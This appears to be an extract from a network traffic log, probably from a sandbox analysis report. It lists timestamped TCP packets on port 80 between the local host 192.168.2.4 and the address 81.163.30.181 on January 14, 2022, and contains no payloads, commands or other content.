Jan 14, 2022 20:29:56.469331980 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.527998924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528059959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528080940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528100967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528139114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528177977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528188944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528217077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528258085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528270960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528299093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528302908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528337002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528376102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528388977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528415918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528454065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528492928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528502941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528532028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528570890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528582096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528610945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528624058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528650045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528690100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528700113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528729916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528768063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528778076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528806925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528845072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528886080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528897047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.528935909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.528975964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529001951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529015064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529026985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529055119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529093027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529103041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529130936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529181957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529217958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529228926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529254913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529258013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529289961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529325008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529360056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529370070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529393911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529400110 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529429913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529465914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529503107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529514074 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529540062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529541969 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529573917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529609919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529620886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529647112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529681921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529691935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529716969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529752016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529762030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529788017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529825926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529874086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529887915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529922962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529962063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.529968977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.529999018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530009031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530033112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530070066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530107975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530123949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530143976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530159950 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530180931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530215979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530226946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530252934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530288935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530322075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530333042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530358076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530359030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530394077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530431032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530442953 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530468941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530504942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530517101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530540943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530575991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530611038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530621052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530647039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530682087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530692101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530719042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530731916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530755997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530788898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530821085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530826092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530862093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530896902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530910015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530934095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.530936956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.530970097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531006098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531043053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531052113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.531076908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531114101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531121016 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.531151056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531161070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.531184912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531220913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531225920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.531255960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531291962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531328917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531338930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.531363010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.531368971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.532324076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.539335012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.589430094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589492083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589509010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.589555979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589597940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589636087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589648008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.589675903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589679003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.589715958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589754105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589759111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.589793921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589833021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589934111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.589939117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.589981079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590019941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590028048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590059996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590069056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590101004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590148926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590188026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590193987 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590226889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590266943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590277910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590305090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590311050 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590344906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590384007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590390921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590424061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590466022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590504885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590511084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590544939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590584993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590591908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590622902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590630054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590662956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590703011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590708017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590744019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590785027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590796947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590823889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590863943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590905905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590912104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590946913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.590996981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.590996981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591037035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591038942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591074944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591114044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591120005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591152906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591192961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591197014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591234922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591273069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591295958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591311932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591351032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591388941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591399908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591428995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591434956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591466904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591506958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591512918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591547012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591584921 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591595888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591623068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591662884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591701031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591711044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591738939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591763020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591778040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591819048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591825008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591860056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591897964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.591905117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.591960907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592000008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592036963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592047930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592077017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592087030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592114925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592154980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592159986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592195034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592231989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592242002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592272043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592310905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592350006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592360020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592387915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592394114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592427015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592466116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592483997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592506886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592544079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592550039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592582941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592622042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592627048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592660904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592700005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592720032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592737913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592777014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592816114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592825890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592853069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592892885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592896938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592932940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.592940092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.592972994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.593013048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.593015909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.593051910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.593091965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.593096972 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.593132019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.593168974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.593213081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.593584061 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.597270966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.599023104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.602827072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651169062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651205063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651226997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651248932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651273012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651293993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651300907 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651315928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651321888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651339054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651351929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651360989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651385069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651385069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651407003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651429892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651449919 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651452065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651474953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651478052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651498079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651514053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651520014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651542902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651565075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651566982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651590109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651612997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651632071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651635885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651658058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651659012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651680946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651701927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651706934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651725054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651747942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651767015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651768923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651792049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651797056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651813984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651835918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651839018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651859045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651880980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651904106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651905060 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651927948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651936054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651949883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651964903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.651973009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.651995897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652017117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652019978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:56.652040005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652061939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652084112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:56.652086973 CET	49882	80	192.168.2.4	81.163.30.181
